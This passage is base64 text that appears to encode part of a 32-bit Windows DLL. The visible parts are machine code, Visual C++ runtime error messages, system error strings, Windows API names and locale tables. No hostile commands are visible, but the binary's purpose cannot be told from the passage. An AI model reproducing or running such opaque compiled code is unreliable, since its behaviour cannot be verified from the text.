/9Vi+xqAP91EP91DP91COj6/v//g8QQXcNVi+xRoWB+ARCD+P51Cug9AgAAoWB+ARCD+P91B7j//wAAycNqAI1N/FFqAY1NCFFQ/xUA8QAQhcB04maLRQjJw8zMzMxRjUwkBCvIG8D30CPIi8QlAPD//zvIcgqLwVmUiwCJBCTDLQAQAACFAOvpahRogFYBEOgZk///i30Ig//+dRDo4Lv//8cACQAAAOm5AAAAhf8PiKEAAAA7PYCgARAPg5UAAACLx8H4BYlF4Ivfg+MfweMGiwSFaIwBEA++RAMEg+ABdHRX6If8//9ZM/aJdfyLReCLBIVojAEQ9kQDBAF0KFfofP3//1lQ/xUE8QAQhcB1CP8VCPAAEIvwiXXkhfZ0GOgpu///iTDoVrv//8cACQAAAIPO/4l15MdF/P7////oCgAAAIvG6yGLfQiLdeRX6JT9//9Zw+gnu///xwAJAAAA6O6s//+DyP/ohZL//8NVi+xWi3UIV4PP/4X2dRTo/7r//8cAFgAAAOjGrP//C8frRfZGDIN0OVbo5fj//1aL+OiAAgAAVuie6f//UOgQAQAAg8QQhcB5BYPP/+sTg34cAHQN/3Yc6F6W//+DZhwAWYNmDACLx19eXcNqDGigVgEQ6MeR//+Dz/+JfeQzwIt1CIX2D5XAhcB1GOiCuv//xwAWAAAA6Ems//+Lx+jhkf//w/ZGDEB0BoNmDADr7FboT+j//1mDZfwAVug/////WYv4iX3kx0X8/v///+gIAAAA68eLdQiLfeRW6JPo//9Zw6FgfgEQg/j/dAyD+P50B1D/FRTwABDDM8BQUGoDUGoDaAAAAEBomEIBEP8VCPEAEKNgfgEQw8zMzMzMzItEJAiLTCQQC8iLTCQMdQmLRCQE9+HCEABT9+GL2ItEJAj3ZCQUA9iLRCQI9+ED01vCEABqEGjAVgEQ6OCQ//+LdQiD/v51GOhzuf//gyAA6J+5///HAAkAAADplQAAAIX2eHk7NYCgARBzcYvewfsFi/6D5x/B5waLBJ1ojAEQD75EOASD4AF0U1boUfr//1mDZfwAiwSdaIwBEPZEOAQBdAtW6FUAAABZi/jrDuhBuf//xwAJAAAAg8//iX3kx0X8/v///+gKAAAAi8frKYt1CIt95Fbof/v//1nD6N64//+DIADoCrn//8cACQAAAOjRqv//g8j/6GiQ///DVYvsVleLfQhX6Of6//9Zg/j/dFChaIwBEIP/AXUJ9oCEAAAAAXULg/8CdRz2QEQBdBZqAui8+v//agGL8Oiz+v//WVk7xnQcV+in+v//WVD/FRTwABCFwHUK/xUI8AAQi/DrAjP2V+gD+v//WYvPwfkFg+cfiwyNaIwBEMHnBsZEOQQAhfZ0DFboR7j//1mDyP/rAjPAX15dw1WL7FaLdQj2RgyDdCD2RgwIdBr/dgjo6ZP//4FmDPf7//8zwFmJBolGCIlGBF5dw/8lKPAAEP8lOPAAEMzMzMzMzMzMzMzMzItUJAiNQgyLSuwzyOgBav//uPhUARDpjof//8zMzMzMi1QkCI1CDItK5DPI6OFp//+43FYBEOluh///zMzMzMyLTbDpqDL//4tNsIPBPOk9Xf//i0XMUOh8cf//WcOLVCQIjUIMi0qsM8joo2n//4tK/DPI6Jlp//+4VFgBEOkmh///zMzMzMzMzMzMzMzMzItNsOkoMP//i02wg8Eo6e1c//+LRcxQ6Cxx//9Zw4tUJAiNQgyLSqwzyOhTaf//i0r8M8joSWn//7gYWAEQ6daG///MzMzMzMzMzMzMzMzMi03s6Qgy//+LVCQIjUIMi0rsM8joGWn//7jsVwEQ6aaG///MzMzMzMzMzMzMzMzMi03w6agv//+LVCQIjUIMi0rwM8jo6Wj//7jAVwEQ6XaG///MzMzMzMzMzMzMzMzMi03w6Xgv//+LTfCDwSDpvVv//4tUJAiNQgyLSuwzyOiuaP//uJBaARDpO4b//8zMi03w6Ugv//+LTfCDwSjpTTj//4tUJAiNQgyLSvAzyOh+aP//uFxaARDpC4b//8zMi03w6Rgv//+LTfCDwSjpzVv//4tUJAiNQgyLSvAzyOhOaP//uPxZARDp24X//8zMi03w6fg3//+LVCQIjUIMi0r0M8joKWj//7gwWgEQ6baF///MzMzMzMzMzMzMzMzMjY1M/v//6XVF//9o8EIAEGoQahSNhaj+//9Q6Gp0///Di4VI/v//UOirb///WcOLVCQIjUIMi4pI/v//M8joz2f//4tK+DPI6MVn//+4kFgBEOlShf//zMzMzMzMzMzMi03w6Ygw//+LVCQIjUIMi0rwM8jomWf//7iUVwEQ6SaF///MzMzMzMzMzMzMzMzMi03w6Sgu//+LVCQIjUIMi0r0M8joaWf//7hoVwEQ6faE///MzMzMzMzMzMzMzMzMaPBCABBqEGoUi0Xwg8BcUOi1c///w4tUJAiNQgyLSvQzyOgrZ///uHBZARDpuIT//8zMzMzMzMzMzMzMzMzMzItFCFDoz27//1nDi0UIUOjEbv//WcOLRQhQ6Llu//9Zw4tFCFDorm7//1nDi0UIUOijbv//WcOLRQhQ6Jhu//9Zw4tFCFDojW7//1nDi0UIUOiCbv//WcOLRQhQ6Hdu//9Zw4tFCFDobG7//1nDi1QkCI1CDItK7DPI6JNm//+4+FgBEOkghP//zMzMzMzMzItFCFDoP27//1nDi1QkCI1CDItK3DPI6GZm//+4nFkBEOnzg///zMzMzMzMzMzMzItF7FDoD27//1nDi03s6f01//+LVCQIjUIMi0roM8joLmb//7jIWQEQ6buD///MzI2NxP3//+klPf//i1QkCI1CDIuKqP3//zPI6ANm//+LSvgzyOj5Zf//uMxYARDphoP//8zMzMzMzMzMzMzMzMxo0OoAEOhfbf//WcPMzMzMaMDqABDoT23//1nDzMzMzGiw6gAQ6D9t//9Zw8zMzMzHBWyCARD0/gAQw8zMzMzMxwV0ggEQ9P4AEMPMzMzMzMcFcIIBEPT+ABDDAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD8WwEAElwBACRcAQA0XAEAQFwBAFZcAQBkXAEAgFwBAJBcAQCgXAEAtFwBANBcAQDiXAEA+FwBAApdAQAWXQEALl0BADxdAQBSXQEAZF0BAHBdAQB4XQEAiF0BAJRdAQCqXQEAtl0BAMJdAQDaXQEA7F0BAPZdAQACXgEADl4BACBeAQAwXgEATF4BAGpeAQCSXgEApl4BALpeAQDGXgEA1F4BAOJeAQDsXgEA/l4BABJfAQAkXwEAMl8BAEpfAQBgXwEAel8BAJBfAQCqXwEAxF8BAN5fAQD2XwEADmABACBgAQAuYAEARGABAFRgAQBkYAEAdGABAIZgAQCaYAEAqmABALpgAQDOYAEAAAAAAAAAAACA6gAQkOoAEKDqABAAAAAAAAAAAMRWABBcbwAQXn8AELbLABAAAAAAAAAAAImOABA05AAQKcwAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAANEVFFIAAAAAAgAAAGMAAABQRQEAUDUBAAAAAADRFRRSAAAAAAwAAAAQAAAAtEUBALQ1AQAFAAAAaPYAELcAAAB89gAQFAAAAIj2ABBvAAAAmPYAEKoAAACs9gAQjgAAAKz2ABBSAAAAaPYAEPMDAADE9gAQ9AMAAMT2ABD1AwAAxPYAEBAAAABo9gAQNwAAAIj2ABBkCQAArPYAEJEAAADQ9gAQCwEAAOT2ABBwAAAA+PYAEFAAAAB89gAQAgAAAAz3ABAnAAAA+PYAEAwAAABo9gAQDwAAAIj2ABABAAAAKPcAEAYAAADk9gAQewAAAOT2ABAhAAAAQPcAENQAAABA9wAQgwAAAOT2ABDmAwAAaPYAEAgAAABU9wAQFQAAAGj3ABARAAAAiPcAEG4AAADE9gAQYQkAAKz2ABDjAwAAnPcAEA4AAABU9wAQAwAAAAz3ABAeAAAAxPYAENUEAABo9wAQGQAAAMT2ABAgAAAAaPYAEAQAAACw9wAQHQAAAMT2ABATAAAAaPYAEB0nAADE9wAQQCcAANj3ABBBJwAA6PcAED8nAAAA+AAQNScAACD4ABAZJwAAQPgAEEUnAABU+AAQTScAAGj4ABBGJwAAfPgAEDcnAACQ+AAQHicAALD4ABBRJwAAvPgAEDQnAADQ+AAQFCcAAOj4ABAmJwAA9PgAEEgnAAAI+QAQKCcAABz5ABA4JwAAMPkAEE8nAABA+QAQQicAAFT5ABBEJwAAZPkAEEMnAAB0+QAQRycAAIj5ABA6JwAAmPkAEEknAACs+QAQNicAALz5ABA9JwAAzPkAEDsnAADk+QAQOScAAPz5ABBMJwAAEPoAEDMnAAAc+gAQAAAAAAAAAABmAAAANPoAEGQAAABU+gAQZQAAAGT6ABBxAAAAfPoAEAcAAACQ+gAQIQAAAKj6ABAOAAAAwPoAEAkAAADM+gAQaAAAAOD6ABAgAAAA7PoAEGoAAAD4+gAQZwAAAAz7ABBrAAAALPsAEGwAAABA+wAQEgAAAIj3ABBtAAAAVPsAEBAAAACs9gAQKQAAAND2ABAIAAAAdPsAEBEAAAB89gAQGwAAAIz7ABAmAAAAmPYAECgAAAAo9wAQbgAAAJz7ABBvAAAAsPsAECoAAADE+wAQGQAAANz7ABAEAAAA6PgAEBYAAADk9gAQHQAAAAD8ABAFAAAAxPYAEBUAAAAQ/AAQcwAAACD8ABB0AAAAMPwAEHUAAABA/AAQdgAAAFD8ABB3AAAAZPwAEAoAAAB0/AAQeQAAAIj8ABAnAAAAQPcAEHgAAACQ/AAQegAAAKj8ABB7AAAAtPwAEBwAAAD49gAQfAAAAMj8ABAGAAAA3PwAEBMAAACI9gAQAgAAAAz3ABADAAAA+PwAEBQAAAAI/QAQgAAAABj9ABB9AAAAKP0AEH4AAAA4/QAQDAAAAFT3ABCBAAAASP0AEGkAAACc9wAQcAAAAFj9ABABAAAAcP0AEIIAAACI/QAQjAAAAKD9ABCFAAAAuP0AEA0AAABo9gAQhgAAAMT9ABCHAAAA1P0AEB4AAADs/QAQJAAAAAT+ABALAAAAaPcAECIAAAAk/gAQfwAAADj+ABCJAAAAUP4AEIsAAABg/gAQigAAAHD+ABAXAAAAfP4AEBgAAACw9wAQHwAAAJz+ABByAAAArP4AEIQAAADM/gAQiAAAANz+ABAAAAAAAAAAAHBlcm1pc3Npb24gZGVuaWVkAAAAZmlsZSBleGlzdHMAbm8gc3VjaCBkZXZpY2UAAGZpbGVuYW1lIHRvbyBsb25nAAAAZGV2aWNlIG9yIHJlc291cmNlIGJ1c3kAaW8gZXJyb3IAAAAAZGlyZWN0b3J5IG5vdCBlbXB0eQBpbnZhbGlkIGFyZ3VtZW50AAAAAG5vIHNwYWNlIG9uIGRldmljZQAAbm8gc3VjaCBmaWxlIG9yIGRpcmVjdG9yeQAAAGZ1bmN0aW9uIG5vdCBzdXBwb3J0ZWQAAG5vIGxvY2sgYXZhaWxhYmxlAAAAbm90IGVub3VnaCBtZW1vcnkAAAByZXNvdXJjZSB1bmF2YWlsYWJsZSB0cnkgYWdhaW4AAGNyb3NzIGRldmljZSBsaW5rAAAAb3BlcmF0aW9uIGNhbmNlbGVkAAB0b28gbWFueSBmaWxlcyBvcGVuAHBlcm1pc3Npb25fZGVuaWVkAAAAYWRkcmVzc19pbl91c2UAAGFkZHJlc3Nfbm90X2F2YWlsYWJsZQAAAGFkZHJlc3NfZmFtaWx5X25vdF9zdXBwb3J0ZWQAAAAAY29ubmVjdGlvbl9hbHJlYWR5X2luX3Byb2dyZXNzAABiYWRfZmlsZV9kZXNjcmlwdG9yAGNvbm5lY3Rpb25fYWJvcnRlZAAAY29ubmVjdGlvbl9yZWZ1c2VkAABjb25uZWN0aW9uX3Jlc2V0AAAAAGRlc3RpbmF0aW9uX2FkZHJlc3NfcmVxdWlyZWQAAAAAYmFkX2FkZHJlc3MAaG9zdF91bnJlYWNoYWJsZQAAAABvcGVyYXRpb25faW5fcHJvZ3Jlc3MAAABpbnRlcnJ1cHRlZABpbnZhbGlkX2FyZ3VtZW50AAAAAGFscmVhZHlfY29ubmVjdGVkAAAAdG9vX21hbnlfZmlsZXNfb3BlbgBtZXNzYWdlX3NpemUAAAAAZmlsZW5hbWVfdG9vX2xvbmcAAABuZXR3b3JrX2Rvd24AAAAAbmV0d29ya19yZXNldAAAAG5ldHdvcmtfdW5yZWFjaGFibGUAbm9fYnVmZmVyX3NwYWNlAG5vX3Byb3RvY29sX29wdGlvbgAAbm90X2Nvbm5lY3RlZAAAAG5vdF9hX3NvY2tldAAAAABvcGVyYXRpb25fbm90X3N1cHBvcnRlZABwcm90b2NvbF9ub3Rfc3VwcG9ydGVkAAB3cm9uZ19wcm90b2NvbF90eXBlAHRpbWVkX291dAAAAG9wZXJhdGlvbl93b3VsZF9ibG9jawAAAGFkZHJlc3MgZmFtaWx5IG5vdCBzdXBwb3J0ZWQAAAAAYWRkcmVzcyBpbiB1c2UAAGFkZHJlc3Mgbm90IGF2YWlsYWJsZQAAAGFscmVhZHkgY29ubmVjdGVkAAAAYXJndW1lbnQgbGlzdCB0b28gbG9uZwAAYXJndW1lbnQgb3V0IG9mIGRvbWFpbgAAYmFkIGFkZHJlc3MAYmFkIGZpbGUgZGVzY3JpcHRvcgBiYWQgbWVzc2FnZQBicm9rZW4gcGlwZQBjb25uZWN0aW9uIGFib3J0ZWQAAGNvbm5lY3Rpb24gYWxyZWFkeSBpbiBwcm9ncmVzcwAAY29ubmVjdGlvbiByZWZ1c2VkAABjb25uZWN0aW9uIHJlc2V0AAAAAGRlc3RpbmF0aW9uIGFkZHJlc3MgcmVxdWlyZWQAAAAAZXhlY3V0YWJsZSBmb3JtYXQgZXJyb3IAZmlsZSB0b28gbGFyZ2UAAGhvc3QgdW5yZWFjaGFibGUAAAAAaWRlbnRpZmllciByZW1vdmVkAABpbGxlZ2FsIGJ5dGUgc2VxdWVuY2UAAABpbmFwcHJvcHJpYXRlIGlvIGNvbnRyb2wgb3BlcmF0aW9uAABpbnZhbGlkIHNlZWsAAAAAaXMgYSBkaXJlY3RvcnkAAG1lc3NhZ2Ugc2l6ZQAAAABuZXR3b3JrIGRvd24AAAAAbmV0d29yayByZXNldAAAAG5ldHdvcmsgdW5yZWFjaGFibGUAbm8gYnVmZmVyIHNwYWNlAG5vIGNoaWxkIHByb2Nlc3MAAAAAbm8gbGluawBubyBtZXNzYWdlIGF2YWlsYWJsZQAAAABubyBtZXNzYWdlAABubyBwcm90b2NvbCBvcHRpb24AAG5vIHN0cmVhbSByZXNvdXJjZXMAbm8gc3VjaCBkZXZpY2Ugb3IgYWRkcmVzcwAAAG5vIHN1Y2ggcHJvY2VzcwBub3QgYSBkaXJlY3RvcnkAbm90IGEgc29ja2V0AAAAAG5vdCBhIHN0cmVhbQAAAABub3QgY29ubmVjdGVkAAAAbm90IHN1cHBvcnRlZAAAAG9wZXJhdGlvbiBpbiBwcm9ncmVzcwAAAG9wZXJhdGlvbiBub3QgcGVybWl0dGVkAG9wZXJhdGlvbiBub3Qgc3VwcG9ydGVkAG9wZXJhdGlvbiB3b3VsZCBibG9jawAAAG93bmVyIGRlYWQAAHByb3RvY29sIGVycm9yAABwcm90b2NvbCBub3Qgc3VwcG9ydGVkAAByZWFkIG9ubHkgZmlsZSBzeXN0ZW0AAAByZXNvdXJjZSBkZWFkbG9jayB3b3VsZCBvY2N1cgAAAHJlc3VsdCBvdXQgb2YgcmFuZ2UAc3RhdGUgbm90IHJlY292ZXJhYmxlAAAAc3RyZWFtIHRpbWVvdXQAAHRleHQgZmlsZSBidXN5AAB0aW1lZCBvdXQAAAB0b28gbWFueSBmaWxlcyBvcGVuIGluIHN5c3RlbQAAAHRvbyBtYW55IGxpbmtzAAB0b28gbWFueSBzeW1ib2xpYyBsaW5rIGxldmVscwAAAHZhbHVlIHRvbyBsYXJnZQB3cm9uZyBwcm90b2NvbCB0eXBlAHBIARAAEAAQ/lcAEP5XABAwEAAQkBAAEFAQABAkSAEQABAAELAQABDAEAAQMBAAEJAQABBQEAAQhEgBEAAQABAwEQAQQBEAEDAQABCQEAAQUBAAEMxIARAAEAAQkBEAEKARABAQEgAQkBAAEFAQABD4RQEQiE8AEE9vABBiYWQgYWxsb2NhdGlvbgAAREYBEK1PABBPbwAQkEYBEK1PABBPbwAQ4EYBEK1PABBPbwAQMEcBEFlYABCIggEQ2IIBEAAAAABjc23gAQAAAAAAAAAAAAAAAwAAACAFkxkAAAAAAAAAAHhHARDQbgAQT28AEFVua25vd24gZXhjZXB0aW9uAAAAbQBzAGMAbwByAGUAZQAuAGQAbABsAAAAQ29yRXhpdFByb2Nlc3MAAAAAAABSADYAMAAwADgADQAKAC0AIABuAG8AdAAgAGUAbgBvAHUAZwBoACAAcwBwAGEAYwBlACAAZgBvAHIAIABhAHIAZwB1AG0AZQBuAHQAcwANAAoAAAAAAAAAUgA2ADAAMAA5AA0ACgAtACAAbgBvAHQAIABlAG4AbwB1AGcAaAAgAHMAcABhAGMAZQAgAGYAbwByACAAZQBuAHYAaQByAG8AbgBtAGUAbgB0AA0ACgAAAFIANgAwADEAMAANAAoALQAgAGEAYgBvAHIAdAAoACkAIABoAGEAcwAgAGIAZQBlAG4AIABjAGEAbABsAGUAZAANAAoAAAAAAFIANgAwADEANgANAAoALQAgAG4AbwB0ACAAZQBuAG8AdQBnAGgAIABzAHAAYQBjAGUAIABmAG8AcgAgAHQAaAByAGUAYQBkACAAZABhAHQAYQANAAoAAABSADYAMAAxADcADQAKAC0AIAB1AG4AZQB4AHAAZQBjAHQAZQBkACAAbQB1AGwAdABpAHQAaAByAGUAYQBkACAAbABvAGMAawAgAGUAcgByAG8AcgANAAoAAAAAAAAAAABSADYAMAAxADgADQAKAC0AIAB1AG4AZQB4AHAAZQBjAHQAZQBkACAAaABlAGEAcAAgAGUAcgByAG8AcgANAAoAAAAAAAAAAABSADYAMAAxADkADQAKAC0AIAB1AG4AYQBiAGwAZQAgAHQAbwAgAG8AcABlAG4AIABjAG8AbgBzAG8AbABlACAAZABlAHYAaQBjAGUADQAKAAAAAAAAAAAAUgA2ADAAMgA0AA0ACgAtACAAbgBvAHQAIABlAG4AbwB1AGcAaAAgAHMAcABhAGMAZQAgAGYAbwByACAAXwBvAG4AZQB4AGkAdAAvAGEAdABlAHgAaQB0ACAAdABhAGIAbABlAA0ACgAAAAAAAAAAAFIANgAwADIANQANAAoALQAgAHAAdQByAGUAIAB2AGkAcgB0AHUAYQBsACAAZgB1AG4AYwB0AGkAbwBuACAAYwBhAGwAbAANAAoAAAAAAAAAUgA2ADAAMgA2AA0ACgAtACAAbgBvAHQAIABlAG4AbwB1AGcAaAAgAHMAcABhAGMAZQAgAGYAbwByACAAcwB0AGQAaQBvACAAaQBuAGkAdABpAGEAbABpAHoAYQB0AGkAbwBuAA0ACgAAAAAAAAAAAFIANgAwADIANwANAAoALQAgAG4AbwB0ACAAZQBuAG8AdQBnAGgAIABzAHAAYQBjAGUAIABmAG8AcgAgAGwAbwB3AGkAbwAgAGkAbgBpAHQAaQBhAGwAaQB6AGEAdABpAG8AbgANAAoAAAAAAAAAAABSADYAMAAyADgADQAKAC0AIAB1AG4AYQBiAGwAZQAgAHQAbwAgAGkAbgBpAHQAaQBhAGwAaQB6AGUAIABoAGUAYQBwAA0ACgAAAAAAUgA2ADAAMwAwAA0ACgAtACAAQwBSAFQAIABuAG8AdAAgAGkAbgBpAHQAaQBhAGwAaQB6AGUAZAANAAoAAAAAAAAAAABSADYAMAAzADEADQAKAC0AIABBAHQAdABlAG0AcAB0ACAAdABvACAAaQBuAGkAdABpAGEAbABpAHoAZQAgAHQAaABlACAAQwBSAFQAIABtAG8AcgBlACAAdABoAGEAbgAgAG8AbgBjAGUALgAKAFQAaABpAHMAIABpAG4AZABpAGMAYQB0AGUAcwAgAGEAIABiAHUAZwAgAGkAbgAgAHkAbwB1AHIAIABhAHAAcABsAGkAYwBhAHQAaQBvAG4ALgANAAoAAAAAAFIANgAwADMAMgANAAoALQAgAG4AbwB0ACAAZQBuAG8AdQBnAGgAIABzAHAAYQBjAGUAIABmAG8AcgAgAGwAbwBjAGEAbABlACAAaQBuAGYAbwByAG0AYQB0AGkAbwBuAA0ACgAAAAAAUgA2ADAAMwAzAA0ACgAtACAAQQB0AHQAZQBtAHAAdAAgAHQAbwAgAHUAcwBlACAATQBTAEkATAAgAGMAbwBkAGUAIABmAHIAbwBtACAAdABoAGkAcwAgAGEAcwBzAGUAbQBiAGwAeQAgAGQAdQByAGkAbgBnACAAbgBhAHQAaQB2AGUAIABjAG8AZABlACAAaQBuAGkAdABpAGEAbABpAHoAYQB0AGkAbwBuAAoAVABoAGkAcwAgAGkAbgBkAGkAYwBhAHQAZQBzACAAYQAgAGIAdQBnACAAaQBuACAAeQBvAHUAcgAgAGEAcABwAGwAaQBjAGEAdABpAG8AbgAuACAASQB0ACAAaQBzACAAbQBvAHMAdAAgAGwAaQBrAGUAbAB5ACAAdABoAGUAIAByAGUAcwB1AGwAdAAgAG8AZgAgAGMAYQBsAGwAaQBuAGcAIABhAG4AIABNAFMASQBMAC0AYwBvAG0AcABpAGwAZQBkACAAKAAvAGMAbAByACkAIABmAHUAbgBjAHQAaQBvAG4AIABmAHIAbwBtACAAYQAgAG4AYQB0AGkAdgBlACAAYwBvAG4AcwB0AHIAdQBjAHQAbwByACAAbwByACAAZgByAG8AbQAgAEQAbABsAE0AYQBpAG4ALgANAAoAAAAAAFIANgAwADMANAANAAoALQAgAGkAbgBjAG8AbgBzAGkAcwB0AGUAbgB0ACAAbwBuAGUAeABpAHQAIABiAGUAZwBpAG4ALQBlAG4AZAAgAHYAYQByAGkAYQBiAGwAZQBzAA0ACgAAAAAARABPAE0AQQBJAE4AIABlAHIAcgBvAHIADQAKAAAAAABTAEkATgBHACAAZQByAHIAbwByAA0ACgAAAAAAVABMAE8AUwBTACAAZQByAHIAbwByAA0ACgAAAA0ACgAAAAAAcgB1AG4AdABpAG0AZQAgAGUAcgByAG8AcgAgAAAAAAACAAAAYAkBEAgAAAAgAAEQCQAAAHgAARAKAAAA0AABEBAAAAAYAQEQEQAAAHABARASAAAA0AEBEBMAAAAYAgEQGAAAAHACARAZAAAA4AIBEBoAAAAwAwEQGwAAAKADARAcA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